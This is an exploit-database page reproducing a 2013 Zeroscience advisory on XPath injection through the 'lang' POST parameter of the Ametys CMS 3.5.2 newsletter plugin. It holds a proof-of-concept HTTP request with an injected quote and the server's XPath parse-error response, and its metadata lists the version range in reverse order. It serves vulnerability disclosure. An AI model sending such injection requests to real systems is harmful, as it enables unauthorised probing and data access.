Ametys CMS 3.5.2 (lang parameter) XPath Injection Vulnerability

vendor:

Ametys CMS

by:

Gjoko 'LiquidWorm' Krstic

7,5

CVSS

HIGH

XPath Injection

CWE

Product Name: Ametys CMS

Affected Version From: 3.5.2

Affected Version To: 3.5.1

Patch Exists: NO

Related CWE: N/A

CPE: a:anyware_services:ametys_cms

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Microsoft Windows 7 Ultimate (EN) 32bit, Jetty 6.1.21

2013

Ametys CMS 3.5.2 (lang parameter) XPath Injection Vulnerability

Input passed via the 'lang' POST parameter in the newsletter plugin is not properly sanitised before being used to construct a XPath query for XML data. This can be exploited to manipulate XPath queries by injecting arbitrary XPath code.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to construct XPath queries.

Source

Exploit-DB raw data:

Ametys CMS 3.5.2 (lang parameter) XPath Injection Vulnerability


Vendor: Anyware Services
Product web page: http://www.ametys.org
Download: http://www.ametys.org/en/download/ametys-cms.html
Affected version: 3.5.2 and 3.5.1

Summary: Ametys is a Java-based open source CMS combining
rich content with an easy-to-use and intuitive interface.

Desc: Input passed via the 'lang' POST parameter in the
newsletter plugin is not properly sanitised before being
used to construct a XPath query for XML data. This can be
exploited to manipulate XPath queries by injecting arbitrary
XPath code.

Tested on: Microsoft Windows 7 Ultimate (EN) 32bit
           Jetty 6.1.21


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2013-5162
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5162.php


24.11.2013

--



Request:
--------

POST /cms/plugins/newsletter/category/nodes HTTP/1.1
Host: 192.168.8.11:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:25.0) Gecko/20100101 Firefox/25.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://192.168.8.11:8080/cms/event/index.html
Content-Length: 137
Cookie: ametys.accept.non.supported.navigators=on; JSESSIONID=1na81i031qhdw; __utma=111872281.3880910164568079000.1385252858.1385252858.1385252858.1; __utmb=111872281.1.10.1385252858; __utmc=111872281; __utmz=111872281.1385252858.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

sitename=event&categoriesOnly=&debug=%255Bobject%2520Object%255D&userLocale=en&siteName=event&skin=demo&categoryID=root&lang=en'&node=root


Response:
---------

HTTP/1.1 500 Internal Server Error
Date: Sun, 24 Nov 2013 00:55:08 GMT
Content-Type: text/html; charset=utf-8
Server: Jetty(6.1.21)
Content-Length: 27280

...
...
org.apache.jackrabbit.spi.commons.query.xpath.ParseException:

                    Encountered "\'//element(*, ametys:page)[@ametys-internal:tags =\'" at line 1, column 68.
                    Was expecting one of:
                    "or" ...
                    "and" ...
                    "div" ...
                    "idiv" ...
                    "mod" ...
                    "*" ...
                    "return" ...
                    "to" ...
                    "where" ...
                    "intersect" ...
                    "union" ...
                    "except" ...
                    <Instanceof> ...
                    <Castable> ...
                    "/" ...
                    "//" ...
                    "=" ...
                    "is" ...
...
...